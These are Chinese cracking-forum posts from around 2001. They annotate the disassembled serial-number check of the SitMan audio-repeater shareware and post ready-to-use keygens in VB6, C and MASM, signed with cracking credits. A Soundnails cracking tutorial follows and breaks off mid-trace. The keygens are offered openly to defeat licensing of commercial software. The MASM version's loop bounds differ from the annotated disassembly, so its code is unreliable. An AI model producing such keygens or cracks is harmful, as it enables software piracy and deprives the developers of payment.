0048B840 8B55EC mov edx, [ebp-$14]
0048B843 A1B8D54900 mov eax, dword ptr [$49D5B8]
0048B848 E82784F7FF call 00403C74
0048B84D 8D55E0 lea edx, [ebp-$20]
0048B850 8B83F8020000 mov eax, [ebx+$02F8]
0048B856 E845B2FAFF call 00436AA0
0048B85B 8B45E0 mov eax, [ebp-$20]
0048B85E 8D55E4 lea edx, [ebp-$1C]
0048B861 E8D2E0F7FF call 00409938
0048B866 8B55E4 mov edx, [ebp-$1C]
0048B869 A110D34900 mov eax, dword ptr [$49D310]
0048B86E E80184F7FF call 00403C74
0048B873 A160D54900 mov eax, dword ptr [$49D560]
0048B878 C7003E330100 mov dword ptr [eax], $0001333E
0048B87E A134D44900 mov eax, dword ptr [$49D434]
0048B883 833800 cmp dword ptr [eax], +$00
0048B886 7536 jnz 0048B8BE
0048B888 A1ECD44900 mov eax, dword ptr [$49D4EC]
0048B88D FF30 push dword ptr [eax]
0048B88F A18CD44900 mov eax, dword ptr [$49D48C]
0048B894 FF30 push dword ptr [eax]
0048B896 68ACB94800 push $0048B9AC
0048B89B A1DCD74900 mov eax, dword ptr [$49D7DC]
0048B8A0 FF30 push dword ptr [eax]
0048B8A2 8D45DC lea eax, [ebp-$24]
0048B8A5 BA04000000 mov edx, $00000004
0048B8AA E8B186F7FF call 00403F60
0048B8AF 8B55DC mov edx, [ebp-$24]
0048B8B2 A134D34900 mov eax, dword ptr [$49D334]
0048B8B7 8B00 mov eax, [eax]
0048B8B9 E812B2FAFF call 00436AD0
0048B8BE E869850000 call 00493E2C
0048B8C3 E8BC860000 call 00493F84
0048B8C8 A170D74900 mov eax, dword ptr [$49D770]
0048B8CD FF30 push dword ptr [eax]

这个Call在这里
* Referenced by a CALL at Address:
|:0048B809
|
:0048B578 55 push ebp
:0048B579 8BEC mov ebp, esp
:0048B57B 83C4F0 add esp, FFFFFFF0
:0048B57E 53 push ebx
:0048B57F 56 push esi
:0048B580 57 push edi
:0048B581 33C9 xor ecx, ecx
:0048B583 894DF0 mov dword ptr [ebp-10], ecx
:0048B586 8955F8 mov dword ptr [ebp-08], edx------->取注册码
:0048B589 8945FC mov dword ptr [ebp-04], eax ------->取用户名
:0048B58C 8B45FC mov eax, dword ptr [ebp-04]
:0048B58F E8C08AF7FF call 00404054---------------------->判断用户名是否为空?
:0048B594 8B45F8 mov eax, dword ptr [ebp-08]
:0048B597 E8B88AF7FF call 00404054---------------------->判断注册码是否为空?
:0048B59C 33C0 xor eax, eax
:0048B59E 55 push ebp
:0048B59F 68FEB64800 push 0048B6FE
:0048B5A4 64FF30 push dword ptr fs:[eax]
:0048B5A7 648920 mov dword ptr fs:[eax], esp
:0048B5AA C645F700 mov [ebp-09], 00
:0048B5AE 8D55F0 lea edx, dword ptr [ebp-10]
:0048B5B1 8B45FC mov eax, dword ptr [ebp-04]
:0048B5B4 E87FE3F7FF call 00409938
:0048B5B9 8B55F0 mov edx, dword ptr [ebp-10]
:0048B5BC 8D45FC lea eax, dword ptr [ebp-04]
:0048B5BF E8F486F7FF call 00403CB8
:0048B5C4 8B45FC mov eax, dword ptr [ebp-04]
:0048B5C7 E8D488F7FF call 00403EA0
:0048B5CC 8BC8 mov ecx, eax
:0048B5CE 83F903 cmp ecx, 00000003------------
:0048B5D1 0F8C04010000 jl 0048B6DB |用户名在3－20个字符之间
:0048B5D7 83F914 cmp ecx, 00000014------------
:0048B5DA 0F8FFB000000 jg 0048B6DB
:0048B5E0 8B45F8 mov eax, dword ptr [ebp-08]
:0048B5E3 E8B888F7FF call 00403EA0
:0048B5E8 83F812 cmp eax, 00000012---------->注册码必须是18个字符
:0048B5EB 0F85EA000000 jne 0048B6DB
:0048B5F1 B904000000 mov ecx, 00000004--------------------|
|这部分判断
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |注册码的第4－10位
|:0048B60B(C) |是否为数字
| |
:0048B5F6 8B45F8 mov eax, dword ptr [ebp-08] |
:0048B5F9 8A4408FF mov al, byte ptr [eax+ecx-01] |
:0048B5FD 04D0 add al, D0 -->由x+d0-0a=ff |
:0048B5FF 2C0A sub al, 0A -->推出x=39,即'9' |
:0048B601 0F83D4000000 jnb 0048B6DB |
:0048B607 41 inc ecx |
:0048B608 83F90A cmp ecx, 0000000A-------------------->
:0048B60B 75E9 jne 0048B5F6
:0048B60D B901000000 mov ecx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048B62D(C)
|
:0048B612 8B45F8 mov eax, dword ptr [ebp-08]----------|
:0048B615 8A4408FF mov al, byte ptr [eax+ecx-01] |
:0048B619 04D0 add al, D0 |
:0048B61B 2C0A sub al, 0A |
:0048B61D 720A jb 0048B629 |判断注册码的所有
:0048B61F 04D9 add al, D9 |位是否在'0'-'9'
:0048B621 2C1A sub al, 1A |或 'a'-'z'中(不知是否有错？）
:0048B623 0F83B2000000 jnb 0048B6DB |
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:0048B61D(C) |
| |
:0048B629 41 inc ecx |
:0048B62A 83F913 cmp ecx, 00000013 |
:0048B62D 75E3 jne 0048B612------------------------ |
:0048B62F BE01000000 mov esi, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:--->这段开始算前3位注册码
|:0048B687(C)
|
:0048B634 BB01000000 mov ebx, 00000001
:0048B639 8B45FC mov eax, dword ptr [ebp-04]
:0048B63C E85F88F7FF call 00403EA0
:0048B641 8BF8 mov edi, eax
:0048B643 85FF test edi, edi
:0048B645 7E21 jle 0048B668
:0048B647 B901000000 mov ecx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048B666(C)
|
:0048B64C 8B45FC mov eax, dword ptr [ebp-04]------------>用户名
:0048B64F 0FB64408FF movzx eax, byte ptr [eax+ecx-01]
:0048B654 F7EB imul ebx
:0048B656 03C6 add eax, esi
:0048B658 03C1 add eax, ecx
:0048B65A BB65010000 mov ebx, 00000165
:0048B65F 99 cdq
:0048B660 F7FB idiv ebx
:0048B662 8BDA mov ebx, edx
:0048B664 41 inc ecx
:0048B665 4F dec edi
:0048B666 75E4 jne 0048B64C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048B645(C)
|
:0048B668 8BC3 mov eax, ebx
:0048B66A B924000000 mov ecx, 00000024
:0048B66F 99 cdq
:0048B670 F7F9 idiv ecx

* Possible StringData Ref from Code Obj ->"0123456789abcdefghijklmnopqrstuvwxyz"
|
:0048B672 B818B74800 mov eax, 0048B718
:0048B677 8A0410 mov al, byte ptr [eax+edx]----->从上面的字符串中取值
:0048B67A 8B55F8 mov edx, dword ptr [ebp-08]
:0048B67D 3A4432FF cmp al, byte ptr [edx+esi-01]
:0048B681 7558 jne 0048B6DB
:0048B683 46 inc esi
:0048B684 83FE04 cmp esi, 00000004-------->上面的代码通过用户名算出
:0048B687 75AB jne 0048B634 ---------前3位注册码
:0048B689 BB01000000 mov ebx, 00000001
:0048B68E BE0A000000 mov esi, 0000000A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048B6D5(C)
|
:0048B693 B901000000 mov ecx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:---->这段开始算第10－18位注册码
|:0048B6B4(C)
|
:0048B698 8B45F8 mov eax, dword ptr [ebp-08]--------------->注册码
:0048B69B 0FB64408FF movzx eax, byte ptr [eax+ecx-01]
:0048B6A0 F7EB imul ebx
:0048B6A2 03C1 add eax, ecx
:0048B6A4 03C6 add eax, esi
:0048B6A6 BB79010000 mov ebx, 00000179
:0048B6AB 99 cdq
:0048B6AC F7FB idiv ebx
:0048B6AE 8BDA mov ebx, edx
:0048B6B0 41 inc ecx
:0048B6B1 83F90A cmp ecx, 0000000A --------------->处理第1－9位注册码
:0048B6B4 75E2 jne 0048B698
:0048B6B6 8BC3 mov eax, ebx
:0048B6B8 B924000000 mov ecx, 00000024
:0048B6BD 99 cdq
:0048B6BE F7F9 idiv ecx

* Possible StringData Ref from Code Obj ->"0123456789abcdefghijklmnopqrstuvwxyz"
|
:0048B6C0 B818B74800 mov eax, 0048B718
:0048B6C5 8A0410 mov al, byte ptr [eax+edx]------->从上面的字符串中取值
:0048B6C8 8B55F8 mov edx, dword ptr [ebp-08]
:0048B6CB 3A4432FF cmp al, byte ptr [edx+esi-01]----------->由第1－9位注册码
:0048B6CF 750A jne 0048B6DB ----------->算出第10－18位注册码
:0048B6D1 46 inc esi
:0048B6D2 83FE13 cmp esi, 00000013
:0048B6D5 75BC jne 0048B693
:0048B6D7 C645F701 mov [ebp-09], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0048B5D1(C), :0048B5DA(C), :0048B5EB(C), :0048B601(C), :0048B623(C)
|:0048B681(C), :0048B6CF(C)
|
:0048B6DB 33C0 xor eax, eax
:0048B6DD 5A pop edx
:0048B6DE 59 pop ecx
:0048B6DF 59 pop ecx
:0048B6E0 648910 mov dword ptr fs:[eax], edx
:0048B6E3 6805B74800 push 0048B705

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048B703(U)
|
:0048B6E8 8D45F0 lea eax, dword ptr [ebp-10]
:0048B6EB E83085F7FF call 00403C20
:0048B6F0 8D45F8 lea eax, dword ptr [ebp-08]
:0048B6F3 BA02000000 mov edx, 00000002
:0048B6F8 E84785F7FF call 00403C44
:0048B6FD C3 ret

注册机如下（VB6）编写：

标 题:重新贴过注册机，有空帮忙到http://crackme.longcity.net下载测试 (1千字)
发信人:eCool[BCG]
时 间:2001-10-23 13:42:09
详细信息:

Public Function GetSN(strName as string) As String
Dim strName As String
Dim strTemp As String
Const strFlag As String = "0123456789abcdefghijklmnopqrstuvwxyz"
Dim i As Long
Dim j As Long
Dim lngLen As Long
Dim esi As Long
Dim ebx As Long
Dim eax As Long
Dim ecx As Long
Dim edx As Long
Dim X As Long
esi = 1: eax = 0: ecx = 0: edx = 0: strTemp = ""
lngLen = Len(strName)
For j = 1 To 3
ebx = 1: esi = j
For i = 1 To lngLen
ecx = i
eax = Asc(Mid(strName, i, 1))
eax = eax * ebx
eax = eax + esi
eax = eax + ecx
ebx = &H165
ebx = eax Mod ebx
Next i
eax = ebx
ecx = &H24
edx = eax Mod ecx
strTemp = strTemp & Mid(strFlag, edx + 1, 1)
Next j
X = 899999 * Rnd + 100000
strTemp = strTemp & CStr(X)
ebx = 1
For j = 10 To 18
esi = j
For i = 1 To 9
ecx = i
eax = Asc(Mid(strTemp, i, 1))
eax = eax * ebx
eax = eax + ecx
eax = eax + esi
ebx = &H179
ebx = eax Mod ebx
Next i
eax = ebx
ecx = &H24
edx = eax Mod ecx
strTemp = strTemp & Mid(strFlag, edx + 1, 1)
Next j
GetSN = strTemp
End Function


SitMan v2.0 beta

 标 题:SitMan v2.0 beta版的注册机（TC2.0编译） (3千字)
发信人:hsf0214
时 间:2001-10-28 14:36:44
详细信息:
 在看了上回的SitMan v2.0的注册机后，不会用，好像作者是写成QB的一个Function函数吧！:-)
自己跟踪了一下，然后用TC2.0写了一个，支持中文注册名哟。
下面是注册机：
===========================================
#include <stdio.h>
#include <math.h>
main()
{ int SL; /* edi is SL as NamestrLength*/
unsigned long int ecx,esi,edi; /*这里一定要是 unsigned long int型，否则将不支持中文注册名*/
unsigned long int edx,ebx,eax;  /*同上*/
unsigned char Namestr[20];    /*定义一个长20的数组来存放注册名,下面的数组是程序提供的一个字符串*/
static unsigned char Conststr[37]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','\0'};
unsigned char SNstr[19]={'h','s','F','9','8','0','2','1','4','m','e','e','t','M','i','s','s','Y'};/*假注册码*/
/* 这个假注册码的4－9位必需是数字，其它可以为数字也可为字母，我随便写了一个，由于这4－9位将是你*/
/* 的正确的注册码中的数字，而且它影响后面的9位注册码，你可以改成你喜欢的数字，而不用我的*/
/* 这个软件的注册码生成很怪吧？它先用你的注册名算出注册码的前3位，然后再用你的假注册码的4－9位*/
/* （一定要是数字）和前3位组成新的字符串来算出注册码的后9位，注册码一共是18位*/
printf ("This is a CrAck program for ----\n    SitMan v2.0 Beta \n");
input:
printf("Your Name is: ");  /*  支持中文名，当然也支持英文名*/
gets(Namestr);            /*得到你的注册名
  */
SL=strlen(Namestr);                /*
  注册名的长度 */
if(SL<3)
                    /* 注册名长度小于3 ,提示重新输入*/
{printf("Name 's Length MUST great than 3\n Try Again  ");
goto input;};
if (SL>20)
{printf("Why you like such a long Name? \n Try Short Name Again  ");
goto input;};
/*开始计算你的注册码*/
ecx=1 ; /* mov ecx,01 */
esi=1 ; /* mov esi,01    b62f */
do
{
ebx=1;/*mov ebx,01*/
edi=SL; /* mov edi,eax */
ecx=1; /* mov ecx,01 */
/* b64c */do
{
eax=Namestr[ecx-1];
eax=eax*ebx;
edx=0;
eax=eax+esi;
eax=eax+ecx;
ebx=0x165;
edx=eax&0xffff0000;  /*cdq */
/*edx=(int)eax%(int)ebx;eax=eax/ebx;*/
edx=eax-eax/ebx*ebx;
ebx=edx;
ecx=ecx+1;
edi=edi-1;}
while (edi>0);
eax=ebx;
ecx=0x24;
edx=eax&0xffff0000; /*cdq */
/*edx=(int)eax%(int)ecx;eax=eax/ecx;  idiv ecx*/
edx=eax-eax/ecx*ecx;
eax=Conststr[edx];
SNstr[esi-1]=eax;
esi=esi+1;
}while (esi<4); /* jnz b634 esi<4? */
/*上面是计算你的注册码的前3位，下面的将计算你的注册码的后9位*/
ebx=1;    /*mov ebx,01*/
esi=10;  /*mov esi.0a */
do{
ecx=1;
do{
eax=SNstr[ecx-1];
eax=eax*ebx; edx=0; /* imul ebx*/
eax=eax+ecx;
eax=eax+esi;
ebx=0x179;
edx=eax&0xffff0000; /*cdq*/
edx=eax-eax/ebx*ebx;
ebx=edx;
ecx=ecx+1;}
while(ecx<10);
eax=ebx;
ecx=0x24;
edx=eax&0xffff0000; /*cdq*/
edx=eax-eax/ecx*ecx;
eax=Conststr[edx];
SNstr[esi-1]=eax;
esi=esi+1;}
while(esi<19);
/*算完了，大功告成，打个Kiss! */
printf("Your SN is:%s \n ",SNstr);  /*这就是你的注册码*/
printf("  \n Enjoy it! \n");
printf("        ----Cracked By HSF(hsFang) 2001.10.28\n");
}
=============================================

大功告成，打个Kiss!
hsf0214

标 题:有朋友劝我换个开发平台，换个Win MASM如何？再贴注册机（masmv5.2编译），输入汉字不再麻烦，因为是window... (6千字)
发信人:hsf0214
时 间:2001-10-31 20:05:42
详细信息:

标题: 有朋友劝我换个开发平台，换个Win MASM如何？再贴注册机（masmv5.2编译），输入汉字不再麻烦，因为是windows下的注册机嘛！

内容:
没事到罗云彬同志的编程乐园http://asm.yeah.net上玩了一趟，看了会儿windows下的汇编编程方法，借了一个老的注册机的壳，花了一个下午的时间，改成了自己的，呵呵呵。。。
这下输入汉字不再麻烦了吧。
这下你们该满足了吧。。。

;****************hd.h
include c:\masm32\include\windows.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\gdi32.inc
include c:\masm32\include\comctl32.inc
include c:\masm32\include\comdlg32.inc
include c:\masm32\include\shell32.inc

includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\gdi32.lib
includelib c:\masm32\lib\comctl32.lib
includelib c:\masm32\lib\comdlg32.lib
includelib c:\masm32\lib\shell32.lib
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
;****************snsitman.rc
#include <c:\masm32\include\resource.h>
#define IDC_IN 1004
#define ID_GEN 1003
#define ID_EXIT 1002
#define IDC_OUT 1001
#define DLG_MAIN 1000
DLG_MAIN DIALOG 37, 61, 282, 59
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "SitManv2.0 beta Keygen(in Win32 ASM), By HSF 10.31.2001"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Generate", ID_GEN, 209, 14, 50, 14
PUSHBUTTON "Exit", ID_EXIT, 209, 36, 50, 14
LTEXT "NAME:", -1, 15, 8, 36, 8
LTEXT "(Must>=3)",-1, 160,8,50,8
LTEXT "COMPANY:", -1, 15, 25, 39, 8
LTEXT "PRODUCT SN:", -1, 15, 43, 49, 10
CONTROL "Kiss--Keep it simple and stupid",-1,"EDIT" ES_READONLY | WS_BORDER | WS_TABSTOP, 67, 23, 100, 13
EDITTEXT IDC_IN ,67, 6, 85, 13 , ES_MULTILINE | WS_BORDER | WS_TABSTOP,
EDITTEXT IDC_OUT, 67, 42, 130, 12, ES_READONLY | WS_BORDER | WS_TABSTOP
}
=====================================================
;****************snsitman.asm
.386
.model flat,stdcall
option casemap:none
include hd.h
_ProcDlg proto :DWORD,:DWORD,:DWORD,:DWORD
;Mycal proto :dword,:dword
; rand proto :DWORD
;->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>data seg
.data
Namestr db 16h dup(?)
Namelength db ?
Conststr db '0123456789abcdefghijklmnopqrstuvwxyz' ;程序提供的一个字符串
SNstr db 'hsf980214meetMissY' ;这个是假注册码,你可以改成自己的，但第4－9位一定要是数字

.data?
hInstance HANDLE ?
.const
IDC_IN equ 1004
ID_GEN equ 1003
ID_EXIT equ 1002
IDC_OUT equ 1001
DLG_MAIN equ 1000
;-->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>code seg

.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlg,0
invoke ExitProcess,NULL

_ProcDlg proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_COMMAND
mov eax,wParam
.IF lParam!=0
.if ax==ID_GEN
; invoke RtlZeroMemory,addr SNstr,20h
invoke GetDlgItemText,hWnd,IDC_IN,addr Namestr,20h
invoke SetDlgItemText,hWnd,IDC_IN,addr Namestr
invoke lstrlen ,addr Namestr
mov Namelength,al
call Mycal
invoke SetDlgItemText,hWnd,IDC_OUT,addr SNstr
.elseif ax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif

.ENDIF
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlg ENDP

Mycal proc
pushad
mov ecx,01
mov esi,01
localB634:
mov ebx,01
lea eax,Namelength
movzx edi,byte ptr [eax]
mov ecx,01
localB64C:
lea EAX, Namestr
MOVZX EAX,BYTE ptr [EAX+ECX-01]
IMUL EBX
ADD EAX,ESI
ADD EAX,ECX
MOV EBX,0165h
CDQ
IDIV EBX
MOV EBX,EDX
INC ECX
DEC EDI
JNZ localB64C
MOV EAX,EBX
MOV ECX,24h
CDQ
IDIV ECX
lea EAX, Conststr
MOV AL,[EAX+EDX]
mov dl,al
lea EaX, SNstr
mov [eax+esi-01],dl
INC ESI
CMP ESI,BYTE +03
JNZ localB634
MOV EBX,01
MOV ESI,0Ah
localB693:
MOV ECX,01
localB698:
lea eax, SNstr
MOVZX EAX,BYTE ptr [EAX+ECX-01]
IMUL EBX
ADD EAX,ECX
ADD EAX,ESI
MOV EBX,0179h
CDQ
IDIV EBX
MOV EBX,EDX
INC ECX
CMP ECX,BYTE +09h
JNZ localB698
MOV EAX,EBX
MOV ECX,24h
CDQ
IDIV ECX
lea eax, Conststr
MOV AL,[EAX+EDX]
mov dl,al
lea EaX,SNstr
mov [eax+esi-01],dl
INC ESI
CMP ESI,BYTE +12h
JNZ localB693
popad
ret
Mycal ENDP
end start
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
    把这三部分分别存为hd.h, snsitman.rc, snsitman.asm，然后在masmv5.2下编译，生成注册机snsitman.exe 。
    使用时注意：
    1。name一定不能为空，否则会出错！！！
    2。name长度要大于等于3，小于等于20。我已在界面上提示要大于等于3，至于要小于等于20，我提供的文本框只够输入20个字符，所以不怕你多输入，就怕你少输入或不输入。呵呵呵。。。
    3。由于这个软件的注册码生成的特殊性，我在注册机内是事先放了一个假的注册码让程序去计算真的注册码，这个假注册码你可以自己在源程序中修改。但第4－9位一定要是数字，其它是数字或字母都可以，没有特别的要求。
    这个注册机做好了是好用，可以直接在window下运行，输入汉字不再麻烦了，可这个注册机要做出来可不容易，我花了好久才把masmv5.2设置好，学会怎么来编译，链接，和生成exe文件...倒底谁麻烦？？？
    好了，大功告成，打个Kiss!
hsf0214 于2001.10.31. 下午


sitman2.0x

 标 题:转贴stkman[CCG]的注册机。 (2千字)
发信人:arbiter
时 间:2001-11-29 20:34:36
详细信息:
文章标题： sitman2.0x的注册机

sitman2.0x是一个不错的英语复读机软件，2。0beta1出来后有一位大客做了注册机，但作者很快就在推出正式版时改变了算法，，等了好久也没看见那位大客发布新注册机，只好自己动手了，很简单，程序如下

#include <windows.h>
#include "resource.h"

void GenRegCode( HWND hDlg )
{
unsigned char name[31];
static unsigned char constr[37]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','\0'};
unsigned char snstr[19]={'i','y','b','1','0','0','0','0','0','8','8','8','4','8','8','8','4','8'};/*假注册码*/
unsigned int i,j,k,temp,ebx,edi,len;

len=GetDlgItemTextA(hDlg,EDIT_NAME,name,30);
if(len<3 || len >20){
MessageBoxA(NULL,"Length of Name should between 3 and 20! ","Warning",MB_ICONEXCLAMATION|MB_OK);
--return;
}
for(i=1;i<4;i++){
-- ebx=1;
-- for(j=len,k=1;j>0;k++,j--){
---- temp=name[k-1]*ebx+i+k;
---- ebx=temp % 0x165;
-- }
-- temp=ebx%0x24;
-- snstr[i-1]=constr[temp];
}
ebx=edi=1;
for(i=0x0a;i<0x13;i++){
-- for(j=1;j<0x0a;j++)
---- ebx=(snstr[j-1]*ebx+j+i)%0x179;
-- temp=ebx%0x24;
snstr[i-1]=constr[temp];
-- temp=(temp*i+i)%0x25;
-- temp=temp+edi%0x23;
-- edi=temp;
}
SetDlgItemTextA( hDlg, EDIT_REGNO, snstr);
}
BOOL CALLBACK DlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
{
--switch( msg )
--{
----case WM_INITDIALOG:
------SendDlgItemMessageA( hDlg, EDIT_NAME, EM_SETLIMITTEXT, (WPARAM)30, 0);
------SetWindowTextA( hDlg, "KeyGen of Sitman2.0x By stkman[CCG]");
------SetDlgItemTextA(hDlg, EDIT_NAME, "stkman[CCG]" );
------return TRUE;
----case WM_COMMAND:
------switch( LOWORD( wParam ) )
------{
--------case BT_GENERATE:
----------GenRegCode( hDlg );------
----------SetFocus( GetDlgItem( hDlg, EDIT_NAME ) );
----------break;
--------case BT_EXIT:
----------EndDialog (hDlg, 0);
----------break;
------}
------break;
--}
--return( FALSE );
}

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow )
{
--DialogBoxA( hInstance, MAKEINTRESOURCE( DLG_MAIN ), 0, DlgProc );
--return 0;
}----

标 题:过程简介 (272字)
发信人:stkman[CCG]
时 间:2001-11-30 8:49:33
详细信息:

该软件至少有三个关键点，一是注册码输入框内容变化时马上就会算出一个值，二是按“注册“时再计算注册码的正确性，三是软件启动时读注册表中保存的注册信息再验证一次。作者在软件中可能还有其他地方验证，因为我算的注册码4-6位是随意取的，作者还可以验证4-6位的值来判断是否是真的注册码。


Soundnailsd

 标 题:Soundnailsd的破解教程（一） (9千字)
发信人:破解勇[CCG]
时 间:2001-10-17 21:58:46
详细信息:
Soundnailsd的破解教程（一）

这个软件是peterchen大哥推荐的,其实早就搞定了,由于近来事比较多,还有一个
重要的原因,那就是俺比较的懒嘛,所以教程现在这才写好....嘿嘿 *^_^*
下载地址：http://www.esoftware.com.cn/file/photo/animator/2001092101.shtml

简介 ：
SWF 是 Macromedia Flash 的专属档案格式，它原是用来制作 Flash 动画时所产生的动画档；
而 MP3 是档案小、音极佳的多媒体音乐格式的代表。不过 MP3 并无法像 Flash 动画或串流多媒体格式，
直接在网络上播放，所以常常都只是透过 Internet 来传输档案，无法达到实时播放的功能，这是比较可惜的地方。
现在 Soundnails 能够以简单的步骤，将众多 MP3 档案轻易的批次转换为 SWF 档案，而且还能选择不同样板，输
出制式化的 HTML 网页，让网友直接在网页上播放音乐，这结合了 MP3 及 SWF 两者的优点，表现优异当然是可想而
知了。使用 Soundnails 的好处，是它并不需要先行安装 Macromedia Flash，而且要播放 SWF 档案也不需要安装其
它的音乐播放程序，只要选择想要转换的 MP3 档案，然后 step by step 的跟着做，就可以输出网页 HTML 组件，
然后再上传到 Web Server 中，网友就可以直接在网络上欣赏好听的音乐了。Soundnails 在制作 SWF 时，会自动抓出
MP3 的 ID3 Tag 信息，而呈现在所制作的 HTML 网页中 (或者也能在 Soundnails 中编辑 MP3 档案的 ID3 Tag)；网
页上的播放按钮，内建有五组 Flash 动画可选择套用，而输出网页也有五套风格相异的网页样版可挑选。试用版有
30 天及一次处理只能 5 个 MP3 档案等功能限制。

先用wdasm32静态分析一下看看，略去了很多无关的代码
有兴趣的可以自己看一看.
代码如下:

： ：
： ：
:00457572 C605D8F0470000 mov byte ptr [0047F0D8], 00
:00457579 B890084800 mov eax, 00480890
:0045757E E801040000 call 00457984 --------->
:00457583 8BF0 mov esi, eax
:00457585 8D45C4 lea eax, dword ptr [ebp-3C]
:00457588 E8F7030000 call 00457984 ---------->与上面的是同一个CALL.是个关键CALL
:0045758D 8BF8 mov edi, eax
:0045758F 3BF7 cmp esi, edi
:00457591 0F8DA1000000 jnl 00457638
:00457597 8BC7 mov eax, edi
:00457599 48 dec eax
:0045759A 7405 je 004575A1------>注意这个跳转和下面那个跳转,
这个跳转跳向 EASY Version

:0045759C 48 dec eax
:0045759D 741C je 004575BB--->这个跳转跳向 PRO Version
:0045759F EB34 jmp 004575D5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045759A(C)
|
:004575A1 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"Registration"
|
:004575A3 B9A8764500 mov ecx, 004576A8

* Possible StringData Ref from Code Obj ->"EASY Version registered. Restart " --->* *一个名字对应两个注册码，
->"Program to activate Changes." 分别来对应 EASY Version 和下面
| 的 PRO Version
|
:004575A8 BAB8764500 mov edx, 004576B8
:004575AD A1E8F54700 mov eax, dword ptr [0047F5E8]
:004575B2 8B00 mov eax, dword ptr [eax]
:004575B4 E8476FFFFF call 0044E500
:004575B9 EB32 jmp 004575ED

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045759D(C)
|
:004575BB 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"Registration"
|
:004575BD B9A8764500 mov ecx, 004576A8

* Possible StringData Ref from Code Obj ->"PRO Version registered. Restart "--> * *
->"Program to activate Changes."
|
:004575C2 BAF8764500 mov edx, 004576F8
:004575C7 A1E8F54700 mov eax, dword ptr [0047F5E8]
:004575CC 8B00 mov eax, dword ptr [eax]
:004575CE E82D6FFFFF call 0044E500
:004575D3 EB18 jmp 004575ED
: :
: :(略去不少代码)

大体分析一下上面的代码,可断定:0045757E call 00457984 里面有注册码的算法及比较过程,那我们
就来动态跟踪分析一下这个call.用TRW2000.
(无关的代码没有作说明)

代码如下:
0167:00457984 PUSH EBP
0167:00457985 MOV EBP,ESP
0167:00457987 ADD ESP,BYTE -1C
0167:0045798A PUSH EBX
0167:0045798B PUSH ESI
0167:0045798C PUSH EDI
0167:0045798D XOR EDX,EDX
0167:0045798F MOV [EBP-14],EDX
0167:00457992 MOV [EBP-10],EDX
0167:00457995 MOV [EBP-0C],EDX
0167:00457998 MOV EBX,EAX
0167:0045799A XOR EAX,EAX
0167:0045799C PUSH EBP
0167:0045799D PUSH DWORD 00457B88
0167:004579A2 PUSH DWORD [FS:EAX]
0167:004579A5 MOV [FS:EAX],ESP
0167:004579A8 LEA EAX,[EBX+24]
0167:004579AB MOV EDX,00457BA0
0167:004579B0 CALL 00403BE0
0167:004579B5 XOR ESI,ESI
0167:004579B7 CMP DWORD [EBX],BYTE +00 ----->拿指向用户名的指针与00比较
0167:004579BA JZ 00457A1F ----->为0则跳转
0167:004579BC CMP DWORD [EBX+04],BYTE +00---->拿指向填的注册码指针与00比较
0167:004579C0 JZ 00457A1F ---->为0则跳转
0167:004579C2 MOV ECX,[EBX+08]
0167:004579C5 MOV EDX,[EBX]
0167:004579C7 LEA EAX,[EBP-0C]
0167:004579CA CALL 00403E58
0167:004579CF MOV EAX,[EBP-0C]
0167:004579D2 MOV EDX,[EBX+04]
0167:004579D5 CALL 00457320 ------------>关键call
0167:004579DA TEST AL,AL ------------->以AL为棋标
0167:004579DC JZ 00457A1F
0167:004579DE PUSH DWORD 00457BB0 ------->00457BB0指向"EASY Version Registered for "
0167:004579E3 PUSH DWORD [EBX] ------->指向用户名的指针.下命令 D *EBX就可看到
0167:004579E5 PUSH DWORD 00457BD8
0167:004579EA PUSH DWORD 00457BE4
0167:004579EF PUSH DWORD 00457BF0 ------->00457BF0指向" Serial#: "
0167:004579F4 PUSH DWORD [EBX+08]
0167:004579F7 LEA EAX,[EBX+24]
0167:004579FA MOV EDX,06
0167:004579FF CALL 00403ECC
0167:00457A04 MOV ESI,01 ------>01送ESI. 这个值比较重要.
0167:00457A09 MOV EAX,[0047F0E4]
0167:00457A0E MOV [0047F0DC],EAX
0167:00457A13 MOV BYTE [0047F0D8],01
0167:00457A1A JMP 00457B6D
0167:00457A1F CMP DWORD [EBX],BYTE +00 ------>拿指向用户名的指针与00比较
0167:00457A22 JZ 00457A87 ---->为0则跳转
